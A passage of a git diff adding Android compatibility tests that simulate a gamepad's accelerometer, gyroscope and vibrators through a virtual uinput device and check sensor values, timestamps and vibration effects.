+            super();
+            mAccuracyLatch = new CountDownLatch(1);
+        }
+
+        public SensorEvent waitForSensorEvent() {
+            try {
+                return mEvents.poll(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                fail("unexpectedly interrupted while waiting for SensorEvent");
+                return null;
+            }
+        }
+
+        public int waitForAccuracyChanged() {
+            boolean ret;
+            try {
+                ret = mAccuracyLatch.await(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                ret = false;
+                Thread.currentThread().interrupt();
+            }
+
+            synchronized (mLock) {
+                return mAccuracy;
+            }
+        }
+
+        @Override
+        public void onSensorChanged(SensorEvent event) {
+            synchronized (mLock) {
+                try {
+                    mEvents.put(event);
+                } catch (InterruptedException ex) {
+                    fail("interrupted while adding a SensorEvent to the queue");
+                }
+            }
+        }
+
+        @Override
+        public void onAccuracyChanged(Sensor sensor, int accuracy) {
+            synchronized (mLock) {
+                mAccuracy = accuracy;
+            }
+            if (mAccuracyLatch != null) {
+                mAccuracyLatch.countDown();
+            }
+        }
+    }
+
+    /**
+     * Get a SensorManager object from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return SensorManager object in specified InputDevice
+     */
+    private SensorManager getSensorManager(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+                SensorManager sensorManager = inputDevice.getSensorManager();
+                assertNotNull("getSensorManager returns null", sensorManager);
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return sensorManager;
+            }
+        }
+        return null;
+    }
+
+    private void bumpSensorsData(int[] sensorVector) {
+        final int step = SAMPLE_STEP;
+        for (int i = 0; i < sensorVector.length; i++) {
+            sensorVector[i] = sensorVector[i] + step;
+        }
+    }
+
+    private float[] getExpectedSensorValue(Sensor sensor, int[] dataVector) {
+        float[] sensorValues = new float[dataVector.length];
+        for (int i = 0; i < dataVector.length; i++) {
+            switch (sensor.getType()) {
+                case Sensor.TYPE_ACCELEROMETER:
+                    sensorValues[i] = ((float) dataVector[i]) / ACCEL_RESOLUTION
+                            * GRAVITY_MS2_UNIT;
+                    break;
+                case Sensor.TYPE_GYROSCOPE:
+                    sensorValues[i] = ((float) dataVector[i]) / GYRO_RESOLUTION
+                            * DEGREE_RADIAN_UNIT;
+                    break;
+                default:
+                    break;
+            }
+        }
+        return sensorValues;
+    }
+
+    private void assertSensorDataEquals(float[] expected, float[] received) {
+        assertEquals("expected sensor data length is not same as received sensor data length",
+                expected.length, received.length);
+        for (int i = 0; i < expected.length; i++) {
+            assertEquals("Data index[" + i + "] not match", expected[i], received[i], TOLERANCE);
+        }
+    }
+
+    /**
+     * Simulate a sensor data sample from device.
+     * @param sensor sensor object for data to be injected
+     * @param dataVec sensor data vector
+     * @param timestamp sensor data timestamp and sync to be injected, 0 for no timestamp and sync
+     */
+    private void injectSensorSample(Sensor sensor, int[] dataVec, int timestamp) {
+        assertEquals("Sensor sample size is wrong", dataVec.length, SENSOR_VEC_LENGTH);
+
+        switch (sensor.getType()) {
+            case Sensor.TYPE_ACCELEROMETER: {
+                int[] evSensorSample = new int[] {
+                    EV_ABS, ABS_X, dataVec[0],
+                    EV_ABS, ABS_Y, dataVec[1],
+                    EV_ABS, ABS_Z, dataVec[2],
+                };
+                mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+                break;
+            }
+            case Sensor.TYPE_GYROSCOPE: {
+                int[] evSensorSample = new int[] {
+                    EV_ABS, ABS_RX, dataVec[0],
+                    EV_ABS, ABS_RY, dataVec[1],
+                    EV_ABS, ABS_RZ, dataVec[2],
+                };
+                mUinputDevice.injectEvents(Arrays.toString(evSensorSample));
+                break;
+            }
+            default:
+                return;
+        }
+        if (timestamp > 0) {
+            int[] evTimestamp = new int[] {
+                    EV_MSC, MSC_TIMESTAMP, timestamp,
+                    EV_SYN, 0, 0 };
+            mUinputDevice.injectEvents(Arrays.toString(evTimestamp));
+        }
+    }
+
+    private void testSensorManagerListenerForSensors(Sensor[] sensors) {
+        final InputTestSensorEventListener[] listeners =
+                new InputTestSensorEventListener[sensors.length];
+        int[] dataVector = new int[]{2535, -2398, 31345};
+        long[] lastTimestamp = new long[sensors.length];
+
+        for (int i = 0; i < sensors.length; i++) {
+            listeners[i] = new InputTestSensorEventListener();
+            assertTrue(mSensorManager.registerListener(listeners[i], sensors[i],
+                    SensorManager.SENSOR_DELAY_GAME, mSensorHandler));
+        }
+
+        long startTimestamp = SystemClock.elapsedRealtimeNanos();
+        for (int count = 0; count < RUNNING_SAMPLES; count++) {
+            bumpSensorsData(dataVector);
+            // when the listener's sampling interval is longer than sensor native sample interval,
+            // the listener get report for multiple sensor samples, inject multiple samples so
+            // sensor listener can get an event callback.
+            for (int hwTimestamp = 100000;
+                    hwTimestamp - 100000 < SAMPLING_INTERVAL_US;
+                    hwTimestamp += TIME_INTERVAL_US) {
+                // Inject sensor samples
+                for (int i = 0; i < sensors.length; i++) {
+                    if (i == sensors.length - 1) {
+                        injectSensorSample(sensors[i], dataVector, hwTimestamp);
+                    } else {
+                        injectSensorSample(sensors[i], dataVector, 0 /* timestamp */);
+                    }
+                }
+                SystemClock.sleep(TIME_INTERVAL_US / 1000);
+            }
+            // Check the sensor listener events for each sensor
+            for (int i = 0; i < sensors.length; i++) {
+                SensorEvent e = listeners[i].waitForSensorEvent();
+                assertNotNull("Sensor event for count " + count + " is null", e);
+                // Verify timestamp monotonically increasing
+                if (lastTimestamp[i] != 0) {
+                    final long diff = e.timestamp - lastTimestamp[i];
+                    assertTrue("Sensor timestamp " + e.timestamp + " not monotonically increasing!"
+                            + "last " + lastTimestamp[i], diff > TIME_INTERVAL_US);
+                }
+                lastTimestamp[i] = e.timestamp;
+                // Verify sensor timestamp greater than start Android time
+                assertTrue("Sensor timestamp smaller than starting elapsedRealtimeNanos",
+                        startTimestamp < e.timestamp);
+                assertSensorDataEquals(getExpectedSensorValue(sensors[i], dataVector),
+                        e.values);
+            }
+            // Check sensor onAccuracyChanged events are called
+            for (int i = 0; i < sensors.length; i++) {
+                assertEquals(SensorManager.SENSOR_STATUS_ACCURACY_HIGH,
+                        listeners[i].waitForAccuracyChanged());
+            }
+        }
+
+        for (int i = 0; i < sensors.length; i++) {
+            mSensorManager.unregisterListener(listeners[i]);
+        }
+    }
+
+    private Sensor getDefaultSensor(int sensorType) {
+        Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+        assertNotNull(sensor);
+        assertEquals(sensor.getType(), sensorType);
+        return sensor;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.gamepad_sensors_register;
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        final int vendorId = mParser.readVendorId(resourceId);
+        final int productId = mParser.readProductId(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId,
+            vendorId, productId, InputDevice.SOURCE_KEYBOARD, registerCommand);
+        mSensorManager = getSensorManager(vendorId, productId);
+        assertNotNull(mSensorManager);
+
+        mSensorThread = new HandlerThread("SensorThread");
+        mSensorThread.start();
+        mSensorHandler = new Handler(mSensorThread.getLooper());
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    @Test
+    public void testAccelerometerSensorListener() {
+        // Test Accelerometer sensor
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_ACCELEROMETER)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testGyroscopeSensorListener() {
+        // Test Gyroscope sensor
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testAllSensorsListeners() {
+        final Sensor[] sensors = new Sensor[]{
+            getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+            getDefaultSensor(Sensor.TYPE_GYROSCOPE)
+        };
+        testSensorManagerListenerForSensors(sensors);
+    }
+
+    @Test
+    public void testSupportedSensorTypes() {
+        final List<Integer> types = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+                Sensor.TYPE_GYROSCOPE);
+        for (int i = 0; i < types.size(); i++) {
+            List<Sensor> sensors = mSensorManager.getSensorList(types.get(i));
+            assertEquals("Sensor type " + types.get(i), 1L, sensors.size());
+        }
+    }
+
+    @Test
+    public void testUnsupportedSensorTypes() {
+        final List<Integer> supportedTypes = Arrays.asList(Sensor.TYPE_ACCELEROMETER,
+                Sensor.TYPE_GYROSCOPE);
+
+        for (int type = Sensor.TYPE_ACCELEROMETER; type <= Sensor.TYPE_HINGE_ANGLE; type++) {
+            if (!supportedTypes.contains(type)) {
+                List<Sensor> sensors = mSensorManager.getSensorList(type);
+                assertEquals(0L, sensors.size());
+                assertNull(mSensorManager.getDefaultSensor(type));
+            }
+        }
+    }
+
+    @Test
+    public void testDirectChannelAPIs() {
+        // Direct channel is not supported by input device sensor manager.
+        try {
+            final MemoryFile memFile = new MemoryFile("Sensor Channel", SHARED_MEMORY_SIZE);
+            SensorDirectChannel channel = mSensorManager.createDirectChannel(memFile);
+            // Expect returning a null channel when calling the API
+            assertNull(channel);
+        } catch (IOException e) {
+            fail("IOException when allocating MemoryFile");
+        }
+    }
+
+    @Test
+    public void testDynamicSensorAPIs() {
+        final List<Sensor> dynamicAccelerometers =
+                mSensorManager.getDynamicSensorList(Sensor.TYPE_ACCELEROMETER);
+        // Input device sensor manager doesn't expose any dynamic sensor
+        assertEquals(0, dynamicAccelerometers.size());
+
+        // Attempt to register regular sensor as dynamic sensor
+        final Sensor accelerometer = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
+        final Callback callback = new Callback(accelerometer);
+        mSensorManager.registerDynamicSensorCallback(callback);
+        // Dynamic call back is not supported, not connection or disconnection should happen.
+        assertFalse(callback.waitForConnection());
+        callback.assertNoDisconnection();
+        // Unregister the dynamic sensor callback shouldn't throw any exception.
+        mSensorManager.unregisterDynamicSensorCallback(callback);
+        // The isDynamicSensorDiscoverySupported API should returns false.
+        assertFalse(mSensorManager.isDynamicSensorDiscoverySupported());
+
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
new file mode 100644
index 0000000..0ef4afa
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorManagerTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.CombinedVibrationEffect;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.VibratorManager;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputResultData;
+import com.android.cts.input.UinputVibratorManagerTestData;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test {@link android.view.InputDevice} vibrator manager functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceVibratorManagerTest {
+    private static final String TAG = "InputDeviceVibratorTest";
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private VibratorManager mVibratorManager;
+    private int mDeviceId;
+
+    /**
+     * Get a vibrator manager from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return VibratorManager object in specified InputDevice
+     */
+    private VibratorManager getVibratorManager(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == vid && inputDevice.getProductId() == pid) {
+                VibratorManager vibratorManager = inputDevice.getVibratorManager();
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return vibratorManager;
+            }
+        }
+        return null;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.google_gamepad_register;
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId,
+                mParser.readVendorId(resourceId), mParser.readProductId(resourceId),
+                InputDevice.SOURCE_KEYBOARD, registerCommand);
+        mVibratorManager = getVibratorManager(mParser.readVendorId(resourceId),
+                mParser.readProductId(resourceId));
+        assertTrue(mVibratorManager != null);
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    /*
+     * Return vibration count
+     * @totalVibrations expected vibration times
+     * @timeoutMills timeout in milliseconds
+     * @return Actual vibration times
+     */
+    private int getVibrationCount(long totalVibrations, long timeoutMills) {
+        final long startTime = SystemClock.elapsedRealtime();
+        List<UinputResultData> results = new ArrayList<>();
+        int vibrationCount = 0;
+
+        while (vibrationCount < totalVibrations
+                && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+            SystemClock.sleep(1000);
+            try {
+                results = mUinputDevice.getResults(mDeviceId, "vibrating");
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    UinputResultData result = results.get(i);
+                    if (result.reason.equals("vibrating") && result.deviceId == mDeviceId
+                            && (result.status > 0)) {
+                        vibrationCount++;
+                    }
+                }
+            }  catch (IOException ex) {
+                throw new RuntimeException("Could not get JSON results from HidDevice");
+            }
+        }
+        return vibrationCount;
+    }
+
+    /*
+     * Test with predefined vibration effects
+     * @resourceId The Json file contains predefined vibration effects
+     */
+    public void testInputVibratorManagerEvents(int resourceId) {
+        final List<UinputVibratorManagerTestData> tests =
+                mParser.getUinputVibratorManagerTestData(resourceId);
+
+        for (UinputVibratorManagerTestData testData : tests) {
+            // Vibration durations must be greater than 0
+            assertTrue(testData.durations.size() > 0);
+            // Only Mono or Stereo vibration effects are allowed
+            assertTrue(testData.amplitudes.size() == 1 || testData.amplitudes.size() == 2);
+
+            final long totalVibrations = testData.durations.size();
+            long timeoutMills = 0;
+            CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+
+            final int[] ids = mVibratorManager.getVibratorIds();
+            for (int i = 0; i < testData.amplitudes.size(); i++) {
+                // Verify each vibrator's amplitude array size is same as duration array size
+                assertTrue(testData.durations.size() == testData.amplitudes.valueAt(i).size());
+
+                final VibrationEffect effect;
+                if (testData.durations.size() == 1) {
+                    long duration = testData.durations.get(0);
+                    int amplitude = testData.amplitudes.valueAt(i).get(0);
+                    effect = VibrationEffect.createOneShot(duration, amplitude);
+                    // Set timeout to be 2 times of the effect duration.
+                    timeoutMills = duration * 2;
+                } else {
+                    long[] durations = testData.durations.stream()
+                            .mapToLong(Long::longValue).toArray();
+                    int[] amplitudes = testData.amplitudes.valueAt(i).stream()
+                            .mapToInt(Integer::intValue).toArray();
+                    effect = VibrationEffect.createWaveform(
+                        durations, amplitudes, -1);
+                    // Set timeout to be 2 times of the effect total duration.
+                    timeoutMills = Arrays.stream(durations).sum() * 2;
+                }
+
+                if (testData.amplitudes.size() == 1) {
+                    CombinedVibrationEffect mono = CombinedVibrationEffect.createSynced(effect);
+                    // Start vibration
+                    mVibratorManager.vibrate(mono);
+                } else {  // testData.amplitudes.size() == 2
+                    comb.addVibrator(ids[i], effect);
+                    if (i > 0) {
+                        // Start vibration
+                        CombinedVibrationEffect stereo = comb.combine();
+                        mVibratorManager.vibrate(stereo);
+                    }
+                }
+            }
+            // Verify we got expected numbers of vibration
+            assertEquals(totalVibrations, getVibrationCount(totalVibrations, timeoutMills));
+        }
+    }
+
+    @Test
+    public void testInputVibratorManager() {
+        testInputVibratorManagerEvents(R.raw.google_gamepad_vibratormanagertests);
+    }
+
+    @Test
+    public void testGetVibrators() {
+        int[] ids = mVibratorManager.getVibratorIds();
+        assertEquals(2, ids.length);
+
+        final Vibrator defaultVibrator = mVibratorManager.getDefaultVibrator();
+        assertNotNull(defaultVibrator);
+        assertTrue(defaultVibrator.hasVibrator());
+
+        for (int i = 0; i < ids.length; i++) {
+            final Vibrator vibrator = mVibratorManager.getVibrator(ids[i]);
+            assertNotNull(vibrator);
+            assertTrue(vibrator.hasVibrator());
+        }
+    }
+
+    @Test
+    public void testUnsupportedVibrationEffectsPreBaked() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+        for (int i = 0; i < ids.length; i++) {
+            comb.addVibrator(ids[i], VibrationEffect.createPredefined(
+                    VibrationEffect.EFFECT_CLICK));
+        }
+        CombinedVibrationEffect stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for unsupported effects
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testMixedVibrationEffectsOneShotAndPreBaked() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+        comb.addVibrator(ids[0], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        comb.addVibrator(ids[1], VibrationEffect.createPredefined(
+                VibrationEffect.EFFECT_CLICK));
+        CombinedVibrationEffect stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for combination of OneShot and Prebaked.
+        // Prebaked effect is not supported by input device vibrator, if the second effect
+        // in combined effects is prebaked the combined effect will not be played.
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+
+    @Test
+    public void testMixedVibrationEffectsPreBakedAndOneShot() {
+        final int[] ids = mVibratorManager.getVibratorIds();
+        CombinedVibrationEffect.SyncedCombination comb = CombinedVibrationEffect.startSynced();
+        comb.addVibrator(ids[0], VibrationEffect.createPredefined(
+                VibrationEffect.EFFECT_CLICK));
+        comb.addVibrator(ids[1], VibrationEffect.createOneShot(1000,
+                VibrationEffect.DEFAULT_AMPLITUDE));
+        CombinedVibrationEffect stereo = comb.combine();
+        mVibratorManager.vibrate(stereo);
+        // Shouldn't get any vibrations for combination of Prebaked and OneShot.
+        // Prebaked effect is not supported by input device vibrator, if the first effect
+        // in combined effects is prebaked the combined effect will not be played.
+        assertEquals(0, getVibrationCount(1 /* totalVibrations */, 1000 /* timeoutMills */));
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorTest.java
new file mode 100644
index 0000000..f2d3397
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceVibratorTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputResultData;
+import com.android.cts.input.UinputVibratorTestData;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test {@link android.view.InputDevice} vibrator functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceVibratorTest {
+    private static final String TAG = "InputDeviceVibratorTest";
+    private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private Vibrator mVibrator;
+    private int mDeviceId;
+
+    @Rule
+    public MockitoRule rule = MockitoJUnit.rule();
+    @Mock
+    private OnVibratorStateChangedListener mListener;
+
+    /**
+     * Get a vibrator from input device with specified Vendor Id and Product Id.
+     * @param vid Vendor Id
+     * @param pid Product Id
+     * @return Vibrator object in specified InputDevice
+     */
+    private Vibrator getVibrator(int vid, int pid) {
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            Vibrator vibrator = inputDevice.getVibrator();
+            if (vibrator.hasVibrator() && inputDevice.getVendorId() == vid
+                    && inputDevice.getProductId() == pid) {
+                Log.i(TAG, "Input device: " + inputDeviceId + " VendorId: "
+                        + inputDevice.getVendorId() + " ProductId: " + inputDevice.getProductId());
+                return vibrator;
+            }
+        }
+        return null;
+    }
+
+    @Before
+    public void setup() {
+        final int resourceId = R.raw.google_gamepad_register;
+
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInputManager = mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        assertNotNull(mInputManager);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mDeviceId = mParser.readDeviceId(resourceId);
+        String registerCommand = mParser.readRegisterCommand(resourceId);
+        mUinputDevice = new UinputDevice(mInstrumentation, mDeviceId,
+                mParser.readVendorId(resourceId), mParser.readProductId(resourceId),
+                InputDevice.SOURCE_KEYBOARD, registerCommand);
+        mVibrator = getVibrator(mParser.readVendorId(resourceId),
+                mParser.readProductId(resourceId));
+        assertTrue(mVibrator != null);
+        mVibrator.addVibratorStateListener(mListener);
+        verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                .times(1)).onVibratorStateChanged(false);
+        reset(mListener);
+    }
+
+    @After
+    public void tearDown() {
+        mUinputDevice.close();
+    }
+
+    public void testInputVibratorEvents(int resourceId) {
+        final List<UinputVibratorTestData> tests = mParser.getUinputVibratorTestData(resourceId);
+
+        for (UinputVibratorTestData test : tests) {
+            assertTrue(test.durations.size() == test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            // Start vibration
+            mVibrator.vibrate(effect);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(true);
+            assertTrue(mVibrator.isVibrating());
+
+            final long startTime = SystemClock.elapsedRealtime();
+            List<UinputResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+                try {
+                    results = mUinputDevice.getResults(mDeviceId, "vibrating");
+                    if (results.size() < totalVibrations) {
+                        continue;
+                    }
+                    vibrationCount = 0;
+                    for (int i = 0; i < results.size(); i++) {
+                        UinputResultData result = results.get(i);
+                        if (result.reason.equals("vibrating") && result.deviceId == mDeviceId
+                                && (result.status > 0)) {
+                            vibrationCount++;
+                        }
+                    }
+                }  catch (IOException ex) {
+                    throw new RuntimeException("Could not get JSON results from HidDevice");
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(false);
+            assertFalse(mVibrator.isVibrating());
+            reset(mListener);
+        }
+        // Shouldn't get any listener state callback after removal
+        mVibrator.removeVibratorStateListener(mListener);
+        // Start vibration
+        mVibrator.vibrate(VibrationEffect.createOneShot(100 /* duration */, 255 /* amplitude */));
+        assertTrue(mVibrator.isVibrating());
+        // Verify vibrator state listener
+        verify(mListener, never()).onVibratorStateChanged(anyBoolean());
+    }
+
+    @Test
+    public void testInputVibrator() {
+        testInputVibratorEvents(R.raw.google_gamepad_vibratortests);
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/InputEventInterceptTestActivity.java b/tests/tests/view/src/android/view/cts/input/InputEventInterceptTestActivity.java
similarity index 100%
rename from tests/tests/view/src/android/view/cts/InputEventInterceptTestActivity.java
rename to tests/tests/view/src/android/view/cts/input/InputEventInterceptTestActivity.java
diff --git a/tests/tests/view/src/android/view/cts/input/InputEventTest.java b/tests/tests/view/src/android/view/cts/input/InputEventTest.java
new file mode 100644
index 0000000..6ce80d3
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputEventTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.input;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.text.TextUtils;
+import android.util.ArrayMap;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputEventTest {
+
+    @Test
+    public void testKeyCodeToString() {
+        assertEquals("KEYCODE_UNKNOWN", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_UNKNOWN));
+        assertEquals("KEYCODE_HOME", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_HOME));
+        assertEquals("KEYCODE_0", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_0));
+        assertEquals("KEYCODE_POWER", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_POWER));
+        assertEquals("KEYCODE_A", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_A));
+        assertEquals("KEYCODE_SPACE", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_SPACE));
+        assertEquals("KEYCODE_MENU", KeyEvent.keyCodeToString(KeyEvent.KEYCODE_MENU));
